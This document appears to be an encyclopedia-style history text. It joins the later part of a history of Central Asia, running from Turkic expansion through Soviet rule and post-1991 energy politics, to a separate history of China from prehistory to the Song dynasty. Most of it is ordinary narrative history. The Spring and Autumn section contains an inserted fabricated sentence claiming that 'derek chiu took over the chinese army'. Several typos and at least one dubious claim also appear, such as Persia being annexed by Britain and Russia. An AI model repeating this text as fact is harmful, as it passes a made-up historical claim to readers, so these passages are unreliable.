          Turkic expansion began in the 6th century, and following the Gktrk emipre, Turkic tribes quickly spread westward across all of Central Asia. The Turkic speaking Uyghurs were one of many distinct cultural groups brought together by the trade of the Silk Route at Turfan in Chinese Central Asia. The Uyghurs, primarily pastoral nomads, observed a number of religions including Manichaeism, Buddhism, and Nestorian Christianity. Many of the artifacts from this period were found in the 19th century in this remote desert region of China.


          In the eighth century, Islam began to penetrate the region and soon became the sole faith of most of the population, though Buddhism remained strong in the east. The desert nomads of Arabia could militarily match the nomads of the steppe, and the early Arab Empire gained control over parts of Central Asia. The Arab invasion also saw Chinese influence expelled from western Central Asia. At the Battle of Talas an Arab army decisively defeated a Tang Dynasty force and for the next several centuries Middle Eastern influences would dominate the region.


          


          Return of indigenous rule
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          Over time, as new technologies were introduced, the nomadic horsemen grew in power. The Scythians developed the saddle, and by the time of the Alans the use of the stirrup had begun. Horses continued to grow larger and sturdier so that chariots were no longer needed as the horses could carry men with ease. This greatly increased the mobility of the nomads; it also freed their hands, allowing them to use the bow from horseback. Using small but powerful composite bows, the steppe people gradually became the most powerful military force in the world. From a young age, almost the entire male population was trained in riding and archery, both of which were necessary skills for survival on the steppe. By adulthood, these activities were second nature. These mounted archers were more mobile than any other force at the time, being able to travel forty miles a day with ease.


          The steppe peoples quickly came to dominate Central Asia, forcing the scattered city states and kingdoms to pay them tribute or face annihilation. The martial ability of the steppe peoples was limited, however, by the lack of political structure within the tribes. Confederations of various groups would sometimes form under a ruler known as a khan. When large numbers of nomads acted in unison they could be devastating, as when the Huns arrived in Western Europe. However, tradition dictated that any dominion conquered in such wars should be divided among all of the khan's sons, so these empires often declined as quickly as they formed.


          Once the foreign powers were expelled, several indigenous empires formed in Central Asia. The Hephthalites were the most powerful of these nomad groups in the sixth and seventh century and controlled much of the region. In the tenth and eleventh centuries the region was divided between several powerful states including the Samanid dynasty, that of the Seljuk Turks, and the Khwarezmid Empire.


          The most spectacular power to rise out of Central Asia developed when Genghis Khan united the tribes of Mongolia. Using superior military techniques, the Mongol Empire spread to comprise almost all of Central Asia, as well as large parts of China, Russia, and the Middle East. After Genghis Khan died in 1227, most of Central Asia continued to be dominated by the successor Chagatai Khanate. This state proved to be short lived, as in 1369 Timur, a Turkic leader in the Mongol military tradition, conquered most of the region.


          Even harder than keeping a steppe empire together was governing conquered lands outside the region. While the steppe peoples of Central Asia found conquest of these areas easy, they found governing almost impossible. The diffuse political structure of the steppe confederacies was maladapted to the complex states of the settled peoples. Moreover, the armies of the nomads were based upon large numbers of horses, generally three or four for each warrior. Maintaining these forces required large stretches of grazing land, not present outside the steppe. Any extended time away from the homeland would thus cause the steppe armies to gradually disintegrate. To govern settled peoples the steppe peoples were forced to rely on the local bureaucracy, a factor that would lead to the rapid assimilation of the nomads into the culture of those they had conquered. Another important limit was that the armies, for the most part, were unable to penetrate the forested regions to the north; thus, such states as Novgorod and Muscovy began to grow in power.


          In the fourteenth century much of Central Asia, and many areas beyond it, were conquered by Timur (1336-1405) who is known in the west as Tamerlane. It was during Timurs reign that the nomadic steppe culture of Central Asia fused with the settled culture of Iran. One of its consequences was an entirely new visual language that glorified Timur and subsequent Timurid rulers. This visual language was also used to articulate their commitment to Islam. Timur's large empire collapsed soon after his death, however. The region then became divided among a series of smaller Khanates, including the Khanate of Khiva, the Khanate of Bukhara, the Khanate of Kokand, and the Khanate of Kashgar.


          


          Conquest of the steppes


          The lifestyle that had existed largely unchanged since 500 BCE began to disappear after 1500. An important change in the world economy in the fourteenth and fifteenth century was brought about by the development of nautical technology. Ocean trade routes were pioneered by the Europeans, who were cut off from the Silk Road by the Muslim states that controlled its western termini. The trade between East Asia, India, Europe, and the Middle East began to move over the seas and not through Central Asia. The disunity of the region after the end of the Mongol Empire also made trade and travel far more difficult and the Silk Road went into steep decline.
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          An even more important development was the introduction of gunpowder-based weapons. The gunpowder revolution allowed settled peoples to defeat the steppe horsemen in open battle for the first time. Construction of these weapons required the infrastructure and economies of large societies and were thus impractical for nomadic peoples to produce. The domain of the nomads began to shrink as, beginning in the fifteenth century, the settled powers gradually began to conquer Central Asia.


          The last steppe empire to emerge was that of the Dzungars who conquered much of East Turkestan and Mongolia. However in a sign of the changed times they proved unable to match the Chinese and were decisively defeated by the forces of Qing Dynasty. In the eighteenth century the Qing emperors, themselves originally from the far east edge of the steppe, campaigned in the west and in Mongolia with the Qianlong Emperor taking control of Xinjiang in 1758. The Mongol threat was overcome and much of Inner Mongolia was annexed to China. The Chinese dominions stretched into the heart of Central Asia and included the Khanate of Kokand, which paid tribute to Peking. Outer Mongolia and Xinjiang did not become provinces of the Chinese empire, but rather were directly administered by the Qing dynasty. The fact that there was no provincial governor meant that the local rulers retained most of their powers and this special status also prevented emigration from the rest of China into the region. Persia also began to expand north, especially under the rule of Nadir Shah who extended Persian dominion far past the Oxus. After his death, however, the Persian empire slowly crumbled and was annexed by Britain and Russia.


          The Russians also expanded south, first with the transformation of the Ukrainian steppe into an agricultural heartland, and subsequently onto the fringe of the Kazakh steppes, beginning with the foundation of the fortress of Orenburg. The slow Russian conquest of the heart of Central Asia began in the early nineteenth century, although Peter the Great had sent a failed expedition under Prince Bekovitch-Cherkassky against Khiva as early as the 1720s. By the 1800s, the locals could do little to resist the Russian advance, although the Kazakhs of the Great Horde under Kenesary Kasimov rose in rebellion from 1837 - 46. Until the 1870s, for the most part, Russian interference was minimal, leaving native ways of life intact and local government structures in place. With the conquest of Turkestan after 1865 and the consequent securing of the frontier, the Russians gradually expropriated large parts of the steppe and gave these lands to Russian farmers, who began to arrive in large numbers. This process was initially limited to the northern fringes of the steppe and it was only in the 1890s that significant numbers of Russians began to settle farther south, especially in Zhetysu(Semirechye).


          


          Foreign control of Turkestan
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          Russia's campaigns


          The forces of the khanates were poorly equipped and could do little to resist Russia's advances, although the Kokandian commander Alimqul led a quixotic campaign before being killed outside Chimkent. The main opposition to Russian expansion into Turkestan came from the British, who felt that Russia was growing too powerful and threatening the northwest frontiers of British India. This rivalry came to be known as The Great Game, where both powers competed to advance their own interests in the region. It did little to slow the pace of conquest north of the Oxus, but did ensure that Afghanistan remained independent as a buffer state between the two Empires.


          After the fall of Tashkent to General Cherniaev in 1865, Khodjend, Djizak, and Samarkand fell to the Russians in quick succession over the next three years as the Khanate of Kokand and the Emirate of Bukhara were repeatedly defeated. In 1867 the Governor-Generalship of Russian Turkestan was established under General Konstantin Petrovich Von Kaufman, with its headquarters at Tashkent. In 1881-85 the Transcaspian region was annexed in the course of a campaign led by Generals Mikhail Annenkov and Mikhail Skobelev, and Ashkhabad, Merv and Pendjeh all came under Russian control. Russian expansion was halted in 1887 when Russia and Great Britain delineated the northern border of Afghanistan. Bukhara and the Khanate of Khiva remained quasi-independent, but were essentially protectorates along the lines of the Princely States of British India. Although the conquest was prompted by almost purely military concerns, in the 1870s and 1880s Turkestan came to play a reasonably important economic role within the Russian Empire. Because of the American Civil War, cotton shot up in price in the 1860s, becoming an increasingly important commodity in the region, although its cultivation was on a much lesser scale than during the Soviet period. The cotton trade led to improvements: the Transcaspian Railway from Krasnovodsk to Samarkand and Tashkent, and the Trans-Aral Railway from Orenburg to Tashkent were constructed. In the long term the development of a cotton monoculture would render Turkestan dependent on food imports from Western Siberia, and the Turkestan-Siberia Railway was already planned when the First World War broke out. Russian rule still remained distant from the local populace, mostly concerning itself with the small minority of Russian inhabitants of the region. The local Muslims were not considered full Russian citizens. They did not have the full privileges of Russians, but nor did they have the same obligations, such as military service. The Tsarist regime left substantial elements of the previous regimes (such as Muslim religious courts) intact, and local self-government at the village level was quite extensive.


          


          Chinese influence


          During the 17th and 18th Centuries the Qing Dynasty made several campaigns to conquer Dzungars Mongols. In the meantime,they incorporated parts of central Asia into the Chinese Empire. Internal turmoil largely halted Chinese expansion in the nineteenth century. In 1867 Yakub Beg led a rebellion that saw Xinjiang regain its independence as the Taiping and Nian Rebellions in the heartland of the Empire prevented the Chinese from reasserting their control. Instead the Russians expanded, annexing the Chu and Ili Valleys and the city of Kuldja from the Chinese Empire. After Yakub Beg's death at Korla in 1877 his state collapsed as the area was reconquered by China. After lengthy negotiations Kuldja was returned to Peking by Russia in 1884.


          


          Revolution and revolt


          During the First World War the Muslim exemption from conscription was removed by the Russians, sparking the Central Asian Revolt of 1916. When the Russian Revolution of 1917 occurred, a provisional Government of Jadid Reformers, also known as the Turkestan Muslim Council met in Kokand and declared Turkestan's autonomy. This new government was quickly crushed by the forces of the Tashkent Soviet, and the semi-autonomous states of Bukhara and Khiva were also invaded. The main independence forces were rapidly crushed, but guerrillas known as basmachi continued to fight the Communists until 1924. Mongolia was also swept up by the Russian Revolution and, though it never became a Soviet republic, it became a communist People's Republic in 1924.


          There was some threat of a Red Army invasion of Chinese Turkestan, but instead the governor agreed to cooperate with the Soviets. The creation of the Republic of China in 1911 and the general turmoil in China affected its holdings in Central Asia. Kuomintang control of the region was weak and there was a dual threat from Islamic separatists and communists. Eventually the region became largely independent under the control of the provincial governor. Rather than invade, the Soviet Union established a network of consulates in the region and sent aid and technical advisors. By the 1930s, the governor of Xinjiang's relationship with Moscow was far more important than that with Nanking. The Chinese Civil War further destabilized the region and saw Turkic nationalists make attempts at independence. In 1933, the First East Turkistan Republic was declared, but it was destroyed soon after with the aid of the Soviet troops. After the German invasion of the Soviet Union in 1941, Governor Sheng Shicai of Xinjiang gambled and broke his links to Moscow, moving to ally himself with the Kuomintang. This led to a civil war within the region. Sheng was eventually forced to flee and the Soviet backed Second East Turkistan Republic was formed. This state was annexed by the People's Republic of China in 1949.


          


          Soviet and PRC domination


          In 1918 the Bolsheviks set up the Turkestan Autonomous Soviet Socialist Republic, and Bukhara and Khiva also became SSRs. In 1919 the Conciliatory Commission for Turkestan Affairs was established, to try to improve relations between the locals and the Communists. New policies were introduced, respecting local customs and religion. In 1920, the Kirghiz Autonomous Soviet Socialist Republic, covering modern Kazakhstan, was set up. It was renamed the Kazakh Autonomous Soviet Socialist Republic in 1925. In 1924, the Soviets created the Uzbek SSR and the Turkmen SSR. In 1929 the Tajik SSR was split from the Uzbek SSR. The Kyrgyz Autonomous Oblast became an SSR in 1936.


          These borders had little to do with ethnic makeup, but the Soviets felt it important to divide the region. They saw both Pan-Turkism and Pan-Islamism as threats, which dividing Turkestan would limit. Under the Soviets, the local languages and cultures were systematized and codified, and their differences clearly demarcated and encouraged. New Cyrillic writing systems were introduced, to break links with Turkey and Iran. Under the Soviets the southern border was almost completely closed and all travel and trade was directed north through Russia.


          Under Stalin at least a million persons died, mostly in the Kazakh SSR, during the period of forced collectivization. Islam, as well as other religions, were also attacked. In the Second World War several million refugees and hundreds of factories were moved to the relative security of Central Asia; and the region permanently became an important part of the Soviet industrial complex. Several important military facilities were also located in the region, including nuclear testing facilities and the Baikonur Cosmodrome. The Virgin Lands Campaign, starting in 1954, was a massive Soviet agricultural resettlement program that brought more than 300,000 individuals, mostly from the Ukraine, to the northern Kazakh SSR and the Altai region of the Russian SFSR. This was a major change in the ethnicity of the region.


          Similar processes occurred in Xinjiang and the rest of Western China where the PRC quickly established absolute control. The area was subject to a number of development schemes and, like West Turkestan, one focus was on the growing of the cotton cash crop. These efforts were overseen by the Xinjiang Production and Construction Corps. The XPCC also encouraged Han Chinese migration to Xinjiang leading to a major demographic shift and by the year 2000 some 40% of the population of Xinjiang were Han. As with the Soviet Union local languages and cultures were mostly encouraged and Xinjiang was granted autonomous status. However, Islam was much persecuted, especially during the Cultural Revolution. Similar to the Soviet Union, many in Xinjiang died due to the failed agricultural policies of the Great Leap Forward.


          


          Since 1991


          From 1988 to 1992, a free press and multiparty system developed in the Central Asian republics as perestroika pressured the local Communist parties to open up. What Svat Soucek calls the "Central Asian Spring" was very short-lived, as soon after independence former Communist Party officials recast themselves as local strongmen, Political stability in the region has mostly been maintained, with the major exception of the Tajik Civil War that lasted from 1992 to 1997. 2005 also saw the largely peaceful ousting of Kyrgyz president Askar Akayev in the Tulip Revolution and an outbreak of violence in Andijan, Uzbekistan.
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          Much of the population of Soviet Central Asia was indifferent to the collapse of the Soviet Union, even the large Russian populations in Kazakhstan (roughly 40% of the total) and Tashkent, Uzbekistan. Aid from the Kremlin had also been central to the economies of Central Asia, each of the republics receiving massive transfers of funds from Moscow. Independence largely resulted from the efforts of the small groups of nationalistic, mostly local intellectuals, and from little interest in Moscow for retaining the expensive region. While never a part of the Soviet Union, Mongolia followed a somewhat similar path. Often acting as the unofficial sixteenth Soviet republic, it shed the communist system only in 1996, but quickly ran into economic problems. See: History of independent Mongolia.


          The economic performance of the region since independence has been mixed. It contains some of the largest reserves of natural resources in the world, but there are important difficulties in transporting them. Since it lies farther from the ocean than anywhere else in the world, and its southern borders lay closed for decades, the main trade routes and pipelines run through Russia. As a result, Russia still exerts more influence over the region than in any other former Soviet republics. Nevertheless, the rising energy importance of the Caspian Sea entails a great involvement in the region by the US. The former Soviet republics of the Caucasus now have their own US Special Envoy and inter-agency working groups. Former US Secretary of Energy Bill Richardson had claimed that "the Caspian region will hopefully save us [the US] from total dependence on Middle East oil". Some analysts, such as Myers Jaffe and Robert A. Manning, estimate however that US' entry into the region (with initiatives such us the US-favored Baku-Tbilisi-Ceyhan pipeline) as a major actor may complicate Moscow's chances of making a decisive break with its past economic mistakes and geopolitical excesses in Central Asia. They also regard as a myth the assertion that Caspian oil and gas will be a cheaper and more secure alternative to supplies from the Persian Gulf.


          Despite these reservations and fears, since the late 1980s, Azerbaijan, Kazakhstan, and Turkmenistan have gradually moved to centre stage in the global energy markets and are now regarded as key factors of the international energy security. Azerbaijan and Kzakhstan in particular have succeeded in attracting massive foreign investment to their oil and gas sectors. According to Gawdat Bahgat, the investment flow suggests that the geological potential of the Caspian region as a major source of oil and gas in not in doubt. Russia and Kazakhstan started a closer energy co-operation in 1998, which was further consolidated in May 2002, when Presidents Vladimir Putin and Nursultan Nazarbayev signed a protocol dividing three gas fields - Kurmangazy, Tsentralnoye, and Khvalynskoye - on an equal basis. Following the ratification of bilateral treaties, Russia, Kazakhstan and Azerbaijan declared that the norther Caspian was open for business and investment as they had reached a consensus on the legan status of the basin. Iran and Turkmenistan refused however to recognize the validity of these bilateral agreements; Iran is rejecting any bilateral agreement to divide the Caspian. On the other hand, US' choices in the region (within the framework of the so-called "pipeline diplomacy"), such as the strong support of the Baky pipeline (the project was eventually approved and was completed in 2005), reflect a political desire to avoid both Russia and Iran.


          Increasingly, other powers have begun to involve themselves in Central Asia. Soon after the Central Asian states won their independence Turkey began to look east, and a number of organizations are attempting to build links between the western and eastern Turks. Iran, which for millennia had close links with the region, has also been working to build ties and the Central Asian states now have good relations with the Islamic Republic. One important player in the new Central Asia has been Saudi Arabia, which has been funding the Islamic revival in the region. Olcott notes that soon after independence Saudi money paid for massive shipments of Qur'ans to the region and for the construction and repair of a large number of mosques. In Tajikistan alone an estimated 500 mosques per year have been erected with Saudi money. The formerly atheistic Communist Party leaders have mostly converted to Islam. Small Islamist groups have formed in several of the countries, but radical Islam has little history in the region; the Central Asian societies have remained largely secular and all five states enjoy good relations with Israel. Central Asia is still home to a large Jewish population, the largest group being the Bukharan Jews, and important trade and business links have developed between those that left for Israel after independence and those remaining.


          The People's Republic of China sees the region as an essential future source of raw materials; most Central Asian countries are members of the Shanghai Cooperation Organization. This has affected Xinjiang and other parts of western China that have seen infrastructure programs building new links and also new military facilities. Chinese Central Asia has been far from the centre of that country's economic boom and the area has remained considerably poorer than the coast. China also sees a threat in the potential of the new states to support separatist movements among its own Turkic minorities.


          One important Soviet legacy that has only gradually been appreciated is the vast ecological destruction. Most notable is the gradual drying of the Aral Sea. During the Soviet era, it was decided that the traditional crops of melons and vegetables would be replaced by water-intensive growing of cotton for Soviet textile mills. Massive irrigation efforts were launched that diverted a considerable percentage of the annual inflow to the sea, causing it to shrink steadily. Furthermore, vast tracts of Kazakhstan were used for nuclear testing, and there exists a plethora of decrepit factories and mines.


          In the first part of 2008 Central Asia experienced a severe energy crisis, a shortage of both electricity and fuel, aggravated by abnormally cold temperatures, failing infrastructure, and a shortage of food.
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          The recorded history of China began in the 15th century BC when the Shang Dynasty started to use markings that evolved into the present Chinese characters. Turtle shells with markings reminiscent of ancient Chinese writing from the Shang Dynasty have been carbon dated to as early as 1500 BC. Chinese civilization originated with city-states in the Yellow River (Huang He) valley. 221 BC is commonly accepted to be the year in which China became unified under a large kingdom or empire. In that year, Qin Shi Huang first united China. Successive dynasties in Chinese history developed bureaucratic systems that enabled the Emperor of China to control increasingly larger territory that reached maximum under the Mongolian Yuan Dynasty and Manchurian Qing Dynasty.


          The conventional view of Chinese history is that of a country alternating between periods of political unity and disunity and occasionally becoming dominated by foreign peoples, most of whom were assimilated into the Han Chinese population. Cultural and political influences from many parts of Asia, carried by successive waves of immigration, expansion, and assimilation, merged to create the Chinese culture.


          


          Prehistory


          


          Paleolithic


          What is now China was inhabited by Homo erectus more than a million years ago. Recent study shows that the stone tools found at Xiaochangliang site are magnetostratigraphically dated 1.36 million years ago. The archaeological site of Xihoudu (西侯渡) in Shanxi Province is the earliest recorded of use of fire by Homo erectus, which is dated 1.27 million years ago. The excavations at Yuanmou and later Lantian show early habitation. Perhaps the most famous specimen of Homo erectus found in China is the so-called Peking Man discovered in 1923.


          Two pottery pieces were unearthed at Liyuzui Cave in Liuzhou, Guangxi Province dated 16,500 and 19,000 BC.


          


          Neolithic


          The Neolithic age in China can be traced back as early as 10,000 BC Early evidence for proto-Chinese millet agriculture is carbon-dated to about 7,000 BC. The Peiligang culture of Xinzheng county, Henan was excavated in 1977. With agriculture came increased population, the ability to store and redistribute crops, and to support specialist craftsmen and administrators. In late Neolithic times, the Yellow River valley began to establish itself as a cultural centre, where the first villages were founded; the most archaeologically significant of those was found at Banpo, Xi'an. The Yellow River was so named because of the loess that would build up on the bank and down in the earth then it would sink creating a yellowish tint to the water.


          The early history of China is complicated by the lack of a written language during this period coupled with the existence of documents from later time periods attempting to describe events that occurred several centuries before. The problem in some sense stems from centuries of introspection on the part of the Chinese people which has blurred the distinction between fact and fiction in regards to this early history. By 7000 BC, the Chinese were farming millet, giving rise to the Jiahu culture. At Damaidi in Ningxia, 3,172 cliff carvings dating to 6,000-5,000 BC have been discovered "featuring 8,453 individual characters such as the sun, moon, stars, gods and scenes of hunting or grazing." These pictographs are reputed to be similar to the earliest characters confirmed to be written Chinese. Later Yangshao culture was superseded by the Longshan culture around 2500 BC.


          


          Ancient era


          


          Xia Dynasty


          The Xia Dynasty of China is the first dynasty to be described in ancient historical records such as Records of the Grand Historian and Bamboo Annals, from ca. 2100 BC to 1600 BC.


          Though there is disagreement pertaining to the actual existence of the dynasty, there is archaeological evidence which points to its possible existence. The historian Sima Qian (145 BC-90 BC) and the account in Chinese the Bamboo Annals date the founding of the Xia Dynasty to 4,200 years ago, but this date has not been corroborated. Most archaeologists now connect the Xia to excavations at Erlitou in central Henan province, where a bronze smelter from around 2000 BC was unearthed. Early markings from this period found on pottery and shells are thought to be ancestors of modern Chinese characters. With few clear records matching the Shang oracle bones or the Zhou bronze vessel writings, the Xia era remains poorly understood.


          


          Shang Dynasty
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          The earliest discovered written record of China's past dates from the Shang Dynasty in perhaps the 13th century BC, and takes the form of inscriptions of divination records on the bones or shells of animalsthe so-called oracle bones. Archaeological findings providing evidence for the existence of the Shang Dynasty, c 1600 1046 BC is divided into two sets. The first set, from the earlier Shang period (c 1600 1300 BC) comes from sources at Erligang, Zhengzhou and Shangcheng. The second set, from the later Shang or Yin (殷) period, consists of a large body of oracle bone writings. Anyang in modern day Henan has been confirmed as the last of the nine capitals of the Shang (c 13001046 BC). The Shang Dynasty featured 31 kings, from Tang of Shang to King Zhou of Shang; it was the longest dynasty in Chinese history.


          The Records of the Grand Historian states that the Shang Dynasty moved its capital six times. The final and most important move to Yin in 1350 BC led to the golden age of the dynasty. The term Yin Dynasty has been synonymous with the Shang dynasty in history, although lately it has been used specifically in reference to the latter half of the Shang Dynasty.


          Chinese historians living in later were accustomed to the notion of one dynasty succeeding another, but the actual political situation in early China is known to have been much more complicated. Hence, as some scholars of China suggest, the Xia and the Shang can possibly refer to political entities that existed concurrently, just as the early Zhou ( successor state of the Shang), is known to have existed at the same time as the Shang.


          Written records found at Anyang confirm the existence of the Shang dynasty. However, Western scholars are often hesitant to associate settlements contemporaneous with the Anyang settlement with the Shang dynasty. For example, archaeological findings at Sanxingdui suggest a technologically advanced civilization culturally unlike Anyang. The evidence is inconclusive in proving how far the Shang realm extended from Anyang. The leading hypothesis is that Anyang, ruled by the same Shang in the official history, coexisted and traded with numerous other culturally diverse settlements in the area that is now referred to as China proper.


          


          Zhou Dynasty
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          By the end of the 2nd millennium BC, the Zhou Dynasty began to emerge in the Yellow River valley, overrunning the Shang. The Zhou appeared to have begun their rule under a semi-feudal system. The Zhou were a people who lived west of Shang, and the Zhou leader had been appointed "Western Protector" by the Shang. The ruler of the Zhou, King Wu, with the assistance of his brother, the Duke of Zhou, as regent managed to defeat the Shang at the Battle of Muye. The king of Zhou at this time invoked the concept of the Mandate of Heaven to legitimize his rule, a concept that would be influential for almost every successive dynasty. The Zhou initially moved their capital west to an area near modern Xi'an, near the Yellow River, but they would preside over a series of expansions into the Yangtze River valley. This would be the first of many population migrations from north to south in Chinese history.


          


          Spring and Autumn Period
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          In the 8th century BC, derek chiu took over the chinese army power became decentralized during the Spring and Autumn Period (春秋時代), named after the influential Spring and Autumn Annals. In this period, local military leaders used by the Zhou began to assert their power and vie for hegemony. The situation was aggravated by the invasion of other peoples from the northwest, such as the Qin, forcing the Zhou to move their capital east to Luoyang. This marks the second large phase of the Zhou dynasty: the Eastern Zhou. In each of the hundreds of states that eventually arose, local strongmen held most of the political power and continued their subservience to the Zhou kings in name only. Local leaders for instance started using royal titles for themselves. The Hundred Schools of Thought (諸子百家，诸子百家) of Chinese philosophy blossomed during this period, and such influential intellectual movements as Confucianism (儒家), Taoism (道家), Legalism (法家) and Mohism (墨家) were founded, partly in response to the changing political world. The Spring and Autumn Period is marked by a falling apart of the central Zhou power. China now consists of hundreds of states, some only as large as a village with a fort.


          


          Warring States Period


          After further political consolidation, seven prominent states remained by the end of 5th century BC, and the years in which these few states battled each other are known as the Warring States Period. Though there remained a nominal Zhou king until 256 BC, he was largely a figurehead and held little real power. As neighboring territories of these warring states, including areas of modern Sichuan and Liaoning, were annexed, they were governed under the new local administrative system of commandery and prefecture (郡縣，郡县). This system had been in use since the Spring and Autumn Period and parts can still be seen in the modern system of Sheng & Xian (province and county, 省縣，省县). The final expansion in this period began during the reign of Ying Zheng (嬴政), the king of Qin. His unification of the other six powers, and further annexations in the modern regions of Zhejiang, Fujian, Guangdong and Guangxi in 214 BC enabled him to proclaim himself the First Emperor (Qin Shi Huangdi, 秦始皇帝).


          


          Imperial era


          


          Qin Dynasty
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          Historians often refer to the period from Qin Dynasty to the end of Qing Dynasty as Imperial China. Though the unified reign of the Qin (秦) Emperor lasted only 12 years, he managed to subdue great parts of what constitutes the core of the Han Chinese homeland and to unite them under a tightly centralized Legalist government seated at Xianyang (咸陽，咸阳) (close to modern Xi'an). The doctrine of legalism that guided the Qin emphasized strict adherence to a legal code and the absolute power of the emperor. This philosophy of Legalism, while effective for expanding the empire in a military fashion, proved unworkable for governing it in peace time. The Qin presided over the brutal silencing of political opposition, including the event known as the burning and burying of scholars. This would be the impetus behind the later Han Synthesis incorporating the more moderate schools of political governance.


          The Qin Dynasty is well known for beginning the Great Wall of China, which was later augmented and enhanced during the Ming Dynasty (明朝). The other major contributions of the Qin include the concept of a centralized government, the unification of the legal code, written language, measurement, and currency of China after the tribulations of the Spring and Autumn and Warring States Periods. Even something as basic as the length of axles for carts had to be made uniform to ensure a viable trading system throughout the empire.


          


          Han Dynasty


          
            	(206 BC-220 AD)
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          The Han Dynasty emerged in 206 BC. It was the first dynasty to embrace the philosophy of Confucianism, which became the ideological underpinning of all regimes until the end of imperial China. Under the Han Dynasty, China made great advances in many areas of the arts and sciences. Emperor Wu (Han Wudi 漢武帝，汉武帝) consolidated and extended the Chinese empire by pushing back the Xiongnu (sometimes identified with the Huns) into the steppes of modern Inner Mongolia, wresting from them the modern areas of Gansu, Ningxia and Qinghai. This enabled the first opening of trading connections between China and the West, the Silk Road.


          Nevertheless, land acquisitions by elite families gradually drained the tax base. In AD 9, the usurper Wang Mang (王莽) founded the short-lived Xin ("New") Dynasty (新朝) and started an extensive program of land and other economic reforms. These programs, however, were never supported by the land-holding families, for they favored the peasants. The instability brought about chaos and uprisings.


          Emperor Guangwu (光武帝) reinstated the Han Dynasty with the support of land-holding and merchant families at Luoyang, east of Xi'an. This new era would be termed the Eastern Han Dynasty. Han power declined again amidst land acquisitions, invasions, and feuding between consort clans and eunuchs. The Yellow Turban Rebellion (黃巾之亂，黄巾之乱) broke out in 184, ushering in an era of warlords. In the ensuing turmoil, three states tried to gain predominance in the Period of the Three Kingdoms. This time period has been greatly romanticized in works such as Romance of the Three Kingdoms.


          


          Jin Period


          Though the three kingdoms were reunited temporarily in 278 by the Jin Dynasty, the contemporary non-Han Chinese ( Wu Hu, 五胡) ethnic groups controlled much of the country in the early 4th century and provoked large-scale Han Chinese migrations to south of the Chang Jiang. In 303 the Di people rebelled and later captured Chengdu, establishing the state of Cheng Han. Under Liu Yuan the Xiongnu rebelled near today's Linfen County and established the state of Han Zhao. His successor Liu Cong captured and executed the last two Western Jin emperors. Sixteen kingdoms were a plethora of short-lived non-Chinese dynasties that came to rule the whole or parts of northern China in the 4th and 5th centuries. Many ethnic groups were involved, including ancestors of the Turks, Mongolians, and Tibetans. Most of these nomadic peoples had to some extent been "Sinicized" long before their ascent to power. In fact, some of them, notably the Ch'iang and the Xiong-nu, had already been allowed to live in the frontier regions within the Great Wall since late Han times.


          


          Southern and Northern Dynasties


          
            [image: A limestone statue of the Bodhisattva, from the Northern Qi Dynasty, 570 AD, made in what is now modern Henan province.]

            
              A limestone statue of the Bodhisattva, from the Northern Qi Dynasty, 570 AD, made in what is now modern Henan province.
            

          


          Signaled by the collapse of East Jin (東晉，东晋) Dynasty in 420, China entered the era of the Southern and Northern Dynasties. The Han people managed to survive the military attacks from the nomadic tribes of the north, such as the Xian Bei (鲜卑), and their civilization continued to thrive.


          In Southern China, fierce debates about whether Buddhism should be allowed to exist were held frequently by the royal court and nobles. Finally, near the end of the Southern and Northern Dynasties era, both Buddhist and Taoist followers compromised and became more tolerant of each other.


          In 589, Sui (隋) annexed the last Southern Dynasty, Chen (陳，陈), through military force, and put an end to the era of Southern and Northern Dynasties.


          


          Sui Dynasty


          The Sui Dynasty (隋朝), which managed to reunite the country in 589 after nearly four centuries of political fragmentation, played a role more important than its length of existence would suggest. The Sui brought China together again and set up many institutions that were to be adopted by their successors, the Tang. Like the Qin, however, the Sui overused their resources and collapsed. Also similar to the Qin, traditional history has judged the Sui somewhat unfairly. As it has stressed the harshness of the Sui regime and the arrogance of its second emperor, giving little credit for the Dynasty's many positive achievements.


          


          Tang Dynasty (618 - 907 AD)
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          On June 18, 618, Gaozu (唐高祖) took the throne, and the Tang Dynasty (唐朝) was established, opening a new age of prosperity and innovations in arts and technology. Buddhism, which had gradually been established in China from the first century, became the predominant religion and was adopted by the imperial family and many of the common people.


          Chang'an (長安，长安) (modern Xi'an西安), the national capital, is thought to have been the world's largest city at the time. The Tang and the Han are often referred to as the most prosperous periods of Chinese history.


          The Tang, like the Han, kept the trade routes open to the west and south and there was extensive trade with distant foreign countries and many foreign merchants settled in China.


          The Tang introduced a new system into the Chinese government, called the "Equal Field System" （均田制）.This system gave families land grants from the Emperor based on their needs, not their wealth.


          From about 860 the Tang Dynasty began to decline due to a series of rebellions within China itself, and in the previously subject Kingdom of Nanzhao (南詔，南诏) to the south. One of the warlords, Huang Chao (黃巢), captured Guangzhou in 879, killing most of the 200,000 inhabitants including most of the large colony of foreign merchant families there. In late 880 Luoyang surrendered to him and on 5 January, 881 he conquered Chang'an. The emperor Xizong (唐僖宗) fled to Chengdu and Huang established a new temporary regime, which was eventually destroyed by Tang forces. but another time of political chaos followed.


          


          Five Dynasties and Ten Kingdoms


          The period of political disunity between the Tang and the Song, known as the Five Dynasties and Ten Kingdoms Period (五代十国), lasted little more than half a century, from 907 to 960. During this brief era, when China was in all respects a multi-state system, five regimes succeeded one another rapidly in control of the old Imperial heartland in northern China. During this same time, 10 more stable regimes occupied sections of southern and western China, so the period is also referred to as that of the Ten Kingdoms (十国).


          


          Song Dynasty and Liao, Jin, Western Xia
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          In 960, the Song Dynasty (960-1279) (宋朝) gained power over most of China and established its capital in Kaifeng (汴京/開封，开封), starting a period of economic prosperity, while the Khitan Liao Dynasty (契丹族遼國，契丹族辽国) ruled over Manchuria and eastern Mongolia. In 1115 the Jurchen Jin Dynasty (1115-1234) (女真族金國，女真族金国) emerged to prominence, annihilating the Liao Dynasty in 10 years. Meanwhile, in what are now the northwestern Chinese provinces of Gansu, Shaanxi, and Ningxia, there emerged a Western Xia Dynasty (西夏) from 1032 up to 1227, established by Tangut tribes.


          It also took power over northern China and Kaifeng from the Song Dynasty, which moved its capital to Hangzhou (杭州). The Southern Song Dynasty also suffered the humiliation of having to acknowledge the Jin Dynasty as formal overlords. In the ensuing years China was divided between the Song Dynasty, the Jin Dynasty and the Tangut Western Xia (西夏). Southern Song experienced a period of great technological development which can be explained in part by the military pressure that it felt from the north. This included the use of gunpowder weapons, which played a large role in the Song Dynasty naval victories against the Jin in the Battle of Tangdao and Battle of Caishi on the Yangtze River in 1161 AD. Furthermore, China's first permanent standing navy was assembled and provided an admiral's office at Dinghai in 1132 AD, under the reign of Emperor Renzong of Song.


